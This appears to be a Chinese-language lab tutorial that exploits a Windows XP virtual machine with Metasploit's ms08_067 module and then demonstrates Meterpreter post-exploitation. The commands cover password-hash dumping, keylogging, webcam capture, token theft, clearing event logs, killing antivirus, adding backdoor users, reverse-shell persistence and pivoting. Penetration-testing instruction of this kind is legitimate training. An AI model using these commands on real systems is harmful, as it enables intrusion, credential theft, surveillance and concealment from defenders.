Meterpreter开发利用
1 基本原理
1.1 预备知识
Metasploit Framework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellcode,并且不断更新,使得缓冲区溢出测试变的方便和简单。
exploit是指“漏洞及其利用”,其利用一切可以利用的工具、采取一切可以采取的方法、找到一切可以找到的漏洞。并且对漏洞资料的分析研究,达到某些目的。
metasploit工具的主页是http://www. metasploit.com
metasploit框架的下载地址是:http://www. metasploit.com/framework/download
1.2 相关知识
Meterpreter的特征
meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpreter shell的链接。
meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS [基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
最后,meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
2实验步骤
2.1 实验目的
对目标主机进行控制和操作
2.2 实验环境
虚拟机、back track5、metasploit、win xp
2.3 步骤一瞥
一、扫描和模块的利用
二、Meterpreter命令
2.4 操作过程与步骤
2.4.1 扫描和利用
为了得到一个meterpreter会话,首先需要一个有漏洞的的目标。其次,我们需要使用任何可用的metasploit框架中的漏洞模块,这里使用的模块是:ms08_067,要求对方开放的端口为445即文件共享及打印机服务,这里,我们攻击的机器为IP为192.168.18.135的windows xp系统,我们的实施攻击机器的IP为192.168.18.129.首先用nmap IP对主机进行扫描,看对方的445端口是否开放。若对方的445端口关闭,则此模块就不能利用了:
如果想要得到更具体的开放的服务的版本信息,可以用nmap �CsV IP
从扫描结果可以看到,对方的445端口是处于开放状态,那么ms08_067模块就可以被利用,首先使用“search ms08_ 067 ” 命令,来查看如何使用这个模块:
我们得到了使用模块的路径,直接输入use +路径,即“use windows/smb/ms08_067_netapi”来使用该模块,使用“show options”查看一些需要配置的信息
看到需要设置RHOST、LHOST、LPORT以及需要利用bind_tcp。
然后再用“show options”查看是否配置好,可以看到已经配置好了:
然后执行“exploit”命令,看到执行成功,直接进入会话:
通过以上过程我们可以了解到一些关于meterpreter的模块利用的基本步骤,到了这里,已经算是入侵到了一个系统中,接来用meterpreter会话命令来进行进一步的操作
2.4.2 Meterpreter命令
Meterpreter包含大量的命令,它可以被分成以下几类:
1、核心命令
2、STDapi :文件指令
3、STDapi:网络命令
4、STDapi:文件系统命令
5、STDapi:用户接口命令
6、STDapi:Web Cam命令
7、Priv : 提权命令
8、Priv : 密码数据库命令
9、Priv :时间戳命令
除了这些默认命令,meterpreter可以通过使用一些扩展模块。使用扩展模块,命令为“use+扩展名”。
列出模块及其描述:
“use sniffer”
Metasploit包含sniffer脚本。Meterpreter的这个模块可以用来做数据包捕获,不需要在远程机器上安装任何软件:
首先执行“use sniffer”命令作用为使用嗅探脚本。
“sniffer_interfaces”命令为获取网卡的信息,得到我们的ID为1.
“sniffer_start ID”命令开始嗅探。
“sniffer_dump ID filepath”保存抓取的数据包,本例中/tmp/1.cap是抓取数据包的保存路径。
还有一些相当重要的实施攻击漏洞和渗透测试的命令。
得到shell
直接输入命令“shell”便看到直接得到了系统的system权限,在这里可以执行任何命令。由于我的是中文系统,所以返回给我们的信息中显示的是乱码:
得到密码hash
使用“hashdump”命令可以从系统提取用户名和密码hashes。微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令, 需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。
使用getuid命令可以查看到你的当前的权限
列出远程机器的进程和进程ID方便迁移我们的进程,进而改变我们的权限。使用“ps”命令。
在得到的进程列表后,可以实现迁移进程,用getpid查看当前进程号,然后根据上图既可以知道当前的权限,若再用migrate+pid,就会迁移到另一个进程中,然后我们的权限就改变了。
捕捉屏幕
要想查看到远程机器当前的桌面信息,可以使用“screenshot”命令,可以看到,此命令不仅把对方的桌面给显示了出来而且把桌面作为图片形式保存在了本地。我们通过桌面的信息可以知道一些对我们入侵有帮助的信息,比如对方的杀毒软件的类型等等。
返回给我们的桌面信息
得到远程控制权
使用命令“run vnc”将会弹出窗口,再此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。
捕获按键信息
使用keyscan的一些命令,其中keyscan_start是开启按键记录,启动这个命令后,远程机器的按键开始被记录,keyscan_dump是显示捕获的按键信息,之后按键信息将会显示。keyscan_stop命令为关闭按键记录,之后的按键信息将不会被捕获。
权限提升
这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention. 在旧版本的Metasploit中,Priv extension并不自动装载是使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。
使用“getuid”获得当前的权限,migrate+PID,从列表中看到PID为500的是administrator权限,所以是迁移到administrator的权限,“getsystem �Ch”升级权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。
盗取令牌
另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 640,其中由前面执行ps后得到的信息可知,PID为640的权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了。
清除事件日志
执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的:
下载文件
上传文件
“upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。
查看文件
“cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。
切换、查询当前路径
“pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。
“sysinfo”命令
“sysinfo”命令为显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。可以看到远程主机的操作系统是windows XP service pack 2,sp2这个系统有很多漏洞。
execute命令
“execute”命令为目标主机上执行一个命令,其中“execute -h”显示帮助信息。-f为执行要运行的命令。
idletime命令
“idletime”命令为显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分19秒之前。
ifconfig命令
“ifconfig”命令为显示远程机器的网络接口和IP地址等信息。
migrate命令
使用“migrate”模块,你可以迁移目标机的一个进程到另一个进程:
当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制
search命令
“search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。
使用“search �Ch”命令来查看search命令的帮助信息:
下图中,“search �Cf aa.txt”命令为查看目标机中在当前目录以及当前目录的子目录中有没有aa.txt这个文件,若有则显示出其路径。
“search �Cf l*.txt c:\\pp”为显示出c:\\pp下及pp文件夹下所有的子文件下所有以l开头的txt文件,若有此类文件,则返回其路径和其大小。
“webcam_snap”命令
“webcam_snap”命令为抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地,“webcam_snap �Ch”命令为查看参数的使用方法。由于我们的实验中目标机器没有摄像头,所以我们运行“webcam_snap -i 1 -v false”命令之后返回以下信息。
Pivoting
如果我们需要攻击的机器与我们的back track不在同一个网段,那么我们就不能实现渗透工作,有一个命令为“load auto_add_route”可以实现不在同一网段而实现渗透的工作,这需要借助一个“桥梁”,这个“桥梁”需满足的条件为:有两个网卡,一个网卡的ip[192.168.18.135]和我们的back track5机器的ip[192.168.18.129]在一个网段,另外一个网卡的ip[192.168.1.130]和我们想要攻击的机器的ip[192.168.1.12]在同一个网段。这样,即可以使用meterpreter会话中的命令“load auto_add_route”来实现跨网段的渗透.
具体的使用方法是:跟之前操作一样使用ms08_067模块,不同之处只需下配置时加一条“load auto_add_route”命令即可。配置好之后启动exploit以自动路由所有其他子网。当你需要迁移过程、提升特权或者需要更详细信息的情况下它是非常有实用的。
运行之后,直接进入会话模式。
在这时候, 我们在这pivoting其他网络。很明显, 由于我们是在192.168.18.0/24网段我们不能直接扫描192.168.1.0/24网络但可以使用meterpreter路由命令,可以用XP机器作为一个路由扫描192.168.1.0/24 网段。那就需要进一步设置一些参数:
这里,使用“background”命令在后台运行sessions,然后利用一些辅助模块。在这个实验中,我们使用了一个辅助模块“auxiliary/scanner/portscan/tcp”扫描我们的目标机器[192.168.1.12]。加载模块之后我们设置RHOST 192.168.1.12和对端口号1-1024中所有开放的进行扫描。使用run命令之后,我们就可以看到我们的目标机开放的端口,方便我们的渗透工作。
一些脚本命令
为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。
使用“run scriptname”来使用meterpreter模块中的脚本命令,如“run checkvm” 命令式检查远程主机是一个虚拟主机还是一个真正的主机。如下图,返回给我们的信息是虚机主机:
同样有许多类似这样的脚本,下面来介绍几个重要的脚本:
getgui――getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui的帮助信息
从上图可以看出这个脚本的用法是“rungetgui �Cu username �Cp password”,我添加了一个lu的用户密码为6666。从下图中可以看到用户已经添加成功。
添加完账户之后使用rdesktop命令连接一下远程主机,具体用法是“rdesktop �Cu username �Cp password IP”执行命令之后就会弹出一个窗口,只需再输入一次密码就可以进入目标机器,并对目标机器直接进行控制。
packetrecorder――“run packetrecorder”查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流量信息将被存储的路径,可以到下面路径中直接查看。
get_local_subnets――“run get_local_subnets”得到本地子网网段。
getcountermeasure―run getcountermeasure显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略。
scraper――“run scraper”从目标主机获得所有网络共享等信息。并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。
killav――“run killav”命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录日志。但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰
使用了 “run killav”命令后xp会终止Av进程然后弹出窗口:
hashdump――“run hashdump”获得密码哈希值,运行这个脚本和在meterpreter下直接运行hashdump结果差不多。
keylogrecorder――“run keylogrecorder”命令为记录键盘信息,运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。
persistence――“run persistence”这个脚本可以被用作持续欺骗主机,远程主机重启后将在特定的时间间隔保持meterpreter会话。
从图中看到,我们在目标机器安装了一个脚本,每次startx将开始执行一个meterpreter会话。“-x“代表自动启动特性即开机自动启动,-i重连时间间隔[在这个例子中是30],-p是端口号[在这个例子中是4444],-r是返回目标主机ip[在这个例子中是192.168.18.135]。
设置后,当我们从这台机器想取得会话,一个meterpreter的扭转载荷需要被使用,使用“use multi/handler”进行监听,然后利用载荷“windows/meterpreter/reverse_tcp”查看需要设置的项,这里只需要设置本机ip[19.168.18.129]即可。然后执行exploit,就会直接得到会话:
SOCKS代理
Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”,本例中我们路由的ip网段为 10.1.1 .0,然后使用“use auxiliary/server/socks 4a ”命令来使用sock 4a 模块,执行run命令 ,socks便会执行
然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以,此例子中我们对目标机 10.1.1 .130的445端口进行扫描。从返回给我们的结果可以看到,我们的代理已经设置成功。
3总结
讨论了meterpreter组件的部分命令,总结一下系统漏洞利用的条件:
1、了解对方主机操作系统的类型、版本等信息。可以通过扫描获得此类信息。
2、了解目标主机安装的第三方程序的种类、版本等信息。可以通过扫描、主机访问、猜测等获得此类信息。
3、寻找系统漏洞的相关信息。通过互联网搜索。
4、获得针对系统漏洞的利用工具或代码。
通过以上四步基本可以利用漏洞,得到会话。由于Meterpreter是不断更新,其他组件功能也不断改变,脚本有很大的支持。如果你在这基础方面还行,你也可以开始尝试写一些脚本,你也可以坐享其成,利用别人写的脚本命令进行渗透。如果你想要深入了解meterpreter的运用,可以在http://community.rapid7.com下载文档。